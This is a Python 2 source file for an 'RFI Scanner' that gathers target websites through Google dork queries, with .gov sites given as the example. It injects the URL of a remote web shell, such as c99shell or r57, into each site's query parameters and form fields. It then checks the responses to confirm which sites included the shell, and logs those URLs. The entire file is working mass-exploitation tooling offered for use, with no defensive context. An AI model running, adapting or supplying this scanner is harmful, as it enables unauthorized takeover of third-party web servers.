| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. 145. 146. 147. 148. 149. 150. 151. 152. 153. 154. 155. 156. 157. 158. 159. 160. 161. 162. 163. 164. 165. 166. 167. 168. 169. 170. 171. 172. 173. 174. 175. 176. 177. 178. 179. 180. 181. 182. 183. 184. 185. 186. 187. 188. 189. 190. 191. 192. 193. 194. 195. 196. 197. 198. 199. 200. 201. 202. 203. 204. 205. 206. 207. 208. 209. 210. 211. 212. 213. 214. 215. 216. 217. 218. 219. 220. 221. 222. 223. 224. 225. 226. 227. 228. 229. 230. 231. 232. 233. 234. 235. 236. 237. 238. 239. 240. 241. 242. 243. 244. 245. 246. 247. 248. 249. 250. 251. 252. 253. 254. 255. 256. 257. 258. 259. 260. 261. 262. 263. 264. 265. 266. 267. 268. 269. 270. 271. 272. 273. 274. 275. 276. 277. | #!/usr/bin/python #RFI Scanner that can find hosts using a google query or search one site. #When the scan is complete #it will print out the rfi's found and or write to file. It also has verbose mode for more #output. #http://darkcode.ath.cx #d3hydr8[at]gmail[dot]com import sys, urllib2, re, sets, random, httplib, time, socket def title(): print "\n\t d3hydr8[at]gmail[dot]com RFI Scanner v1.0" print "\t-----------------------------------------------" def usage(): title() print "\n Usage: python RFIscan.py <option>\n" print "\n Example: python RFIscan.py -g inurl:'.gov' 200 -s 'http://localhost/shell.txt' -write rfi_found.txt -v\n" print "\t[options]" print "\t -g/-google <query> <num of hosts> : Searches google for hosts" print "\t -t/-target <website> <port>: Searches just that site, (default port 80)" print "\t -s/-shell <shell> : Shell location" print "\t -w/-write <file> : Writes potential XSS found to file" print "\t -v/-verbose : Verbose Mode\n" def StripTags(text): finished = 0 while not finished: finished = 1 start = text.find("<") if start >= 0: stop = text[start:].find(">") if stop >= 0: text = text[:start] + text[start+stop+1:] finished = 0 return text def timer(): now = time.localtime(time.time()) return time.asctime(now) def geturls(query): counter = 10 urls = [] while counter < int(sys.argv[3]): url = 'http://www.google.com/search?hl=en&q='+query+'&hl=en&lr=&start='+repr(counter)+'&sa=N' opener = urllib2.build_opener(url) opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')] data = opener.open(url).read() hosts = re.findall(('\w+\.[\w\.\-/]*\.\w+'),StripTags(data)) #Lets add sites found to a list if not already or a google site. #We don't want to upset the people that got our list for us. for x in hosts: if x.find('www') != -1: x = x[x.find('www'):] if x not in urls and re.search("google", x) == None: urls.append(x) counter += 10 return urls def getvar(site): names = [] actions = [] print "\n","-"*45 print "[+] Searching:",site try: webpage = urllib2.urlopen(proto+"://"+site, port).read() var = re.findall("\?[\w\.\-/]*\=",webpage) if len(var) >=1: var = list(sets.Set(var)) found_action = re.findall("action=\"[\w\.\-/]*\"", webpage.lower()) found_action = list(sets.Set(found_action)) if len(found_action) >= 1: for a in found_action: a = a.split('"',2)[1] try: if a[0] != "/": a = "/"+a except(IndexError): pass actions.append(a) found_names = re.findall("name=\"[\w\.\-/]*\"", webpage.lower()) found_names = list(sets.Set(found_names)) for n in found_names: names.append(n.split('"',2)[1]) print "[+] Variables:",len(var),"| Actions:",len(actions),"| Fields:",len(names) print "[+] Avg Requests:",(len(var)+len(names)+(len(actions)*len(names))+(len(actions)*len(names))) if len(var) >= 1: for v in var: if site.count("/") >= 2: for x in xrange(site.count("/")): tester(site.rsplit('/',x+1)[0]+"/"+v+shell) tester(site+"/"+v+shell) if len(names) >= 1: for n in names: if site.count("/") >= 2: for x in xrange(site.count("/")): tester(site.rsplit('/',x+1)[0]+"/"+"?"+n+"="+shell) tester(site+"/"+"?"+n+"="+shell) if len(actions) != 0 and len(names) >= 1: for a in actions: for n in names: if site.count("/") >= 2: for x in xrange(site.count("/")): tester(site.rsplit('/',x+1)[0]+a+"?"+n+"="+shell) #tester(site.split("/")[0]+a+"?"+n+"="+shell) if len(actions) != 0 and len(var) >= 1: for a in actions: for v in var: if site.count("/") >= 2: for x in xrange(site.count("/")): tester(site.rsplit('/',x+1)[0]+a+v+shell) else: tester(site.split("/")[0]+a+v+shell) if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google": urls.remove(site) except(socket.timeout, IOError, ValueError, socket.error, socket.gaierror, httplib.BadStatusLine): if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google": urls.remove(site) pass except(KeyboardInterrupt): print "\n[-] Cancelled -",timer(),"\n" sys.exit(1) def tester(victim): if verbose ==1: print "Target:",victim try: source = urllib2.urlopen(proto+"://"+victim, port).read() h = httplib.HTTPConnection(victim.split('/')[0], int(port)) try: h.request("GET", "/"+victim.split('/',1)[1]) except(IndexError): h.request("GET", "/") r1 = h.getresponse() if verbose ==1: print "\t[+] Response:",r1.status, r1.reason if re.search(title, source) != None and r1.status not in range(303, 418): if victim not in found_rfi: print "\n[!] RFI:", victim print "\t[+] Response:",r1.status, r1.reason found_rfi.append(victim) except(socket.timeout, socket.gaierror, socket.error, IOError, ValueError, httplib.BadStatusLine, httplib.IncompleteRead, httplib.InvalidURL): pass except(KeyboardInterrupt): print "\n[-] Cancelled -",timer(),"\n" sys.exit(1) except(): pass if len(sys.argv) <= 3: usage() sys.exit(1) for arg in sys.argv[1:]: if arg.lower() == "-v" or arg.lower() == "-verbose": verbose = 1 if arg.lower() == "-w" or arg.lower() == "-write": txt = sys.argv[int(sys.argv[1:].index(arg))+2] if arg.lower() == "-s" or arg.lower() == "-shell": shell = sys.argv[int(sys.argv[1:].index(arg))+2] title() socket.setdefaulttimeout(3) found_rfi = [] done = [] count = 0 proto = "http" print "\n[+] RFI_scan Loaded" try: if verbose ==1: print "[+] Verbose Mode On" except(NameError): verbose = 0 print "[-] Verbose Mode Off" try: source = urllib2.urlopen(shell).read() title = str(re.findall("<title>.*</title>",source)[0]) if title.find('c99shell') != -1: title = "c99shell" if title.find('r57') != -1: title = "r57" except(IndexError), msg: print msg print "\n[-] Improper Shell Location in Path\n" print "[-] Option: -s/-shell\n" sys.exit(1) except(urllib2.HTTPError, urllib2.URLError), msg: print "\n[-] Couldn't connect to shell?" print "[-] Message:",msg,"\n" sys.exit(1) print "[+] Shell:",shell if title != "c99shell" and title != "r57": print "[+] Shell Title:",title.rsplit("</title>",1)[0].split("<title>",1)[1] else: print "[+] Shell Title:",title try: if txt: print "[+] File:",txt except(NameError): txt = None pass if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google": try: if sys.argv[3].isdigit() == False: print "\n[-] Argument [",sys.argv[3],"] must be a number.\n" sys.exit(1) else: if int(sys.argv[3]) <= 10: print "\n[-] Argument [",sys.argv[3],"] must be greater than 10.\n" sys.exit(1) except(IndexError): print "\n[-] Need number of hosts to collect.\n" sys.exit(1) query = re.sub("\s","+",sys.argv[2]) port = "80" print "[+] Query:",query print "[+] Querying Google..." urls = geturls(query) print "[+] Collected:",len(urls),"hosts" print "[+] Started:",timer() print "\n[-] Cancel: Press Ctrl-C" time.sleep(3) while len(urls) > 0: print "-"*45 print "\n[-] Length:",len(urls),"remain" getvar(random.choice(urls)) if sys.argv[1].lower() == "-t" or sys.argv[1].lower() == "-target": site = sys.argv[2] try: if sys.argv[3].isdigit() == False: port = "80" else: port = sys.argv[3] except(IndexError): port = "80" print "[+] Site:",site print "[+] Port:",port if site[:7] == "http://": site = site.replace("http://","") if site[:8] == "https://": proto = "https" if port == "80": print "[!] Using port 80 with https? (443)" site = site.replace("https://","") print "[+] Started:",timer() print "\n[-] Cancel: Press Ctrl-C" time.sleep(4) getvar(site) print "-"*65 print "\n\n[+] Potential RFI found:",len(found_rfi),"\n" time.sleep(3) if txt != None and len(found_rfi) >=1: rfi_file = open(txt, "a") rfi_file.writelines("\n\td3hydr8[at]gmail[dot]com RFI Scanner v1.0\n") rfi_file.writelines("\t------------------------------------------\n\n") print "[+] Writing Data:",txt else: print "[-] No data written to disk" for k in found_rfi: count+=1 if txt != None: rfi_file.writelines("["+str(count)+"] "+k+"\n") print "\n["+str(count)+"]",k print "\n[-] Done -",timer(),"\n" |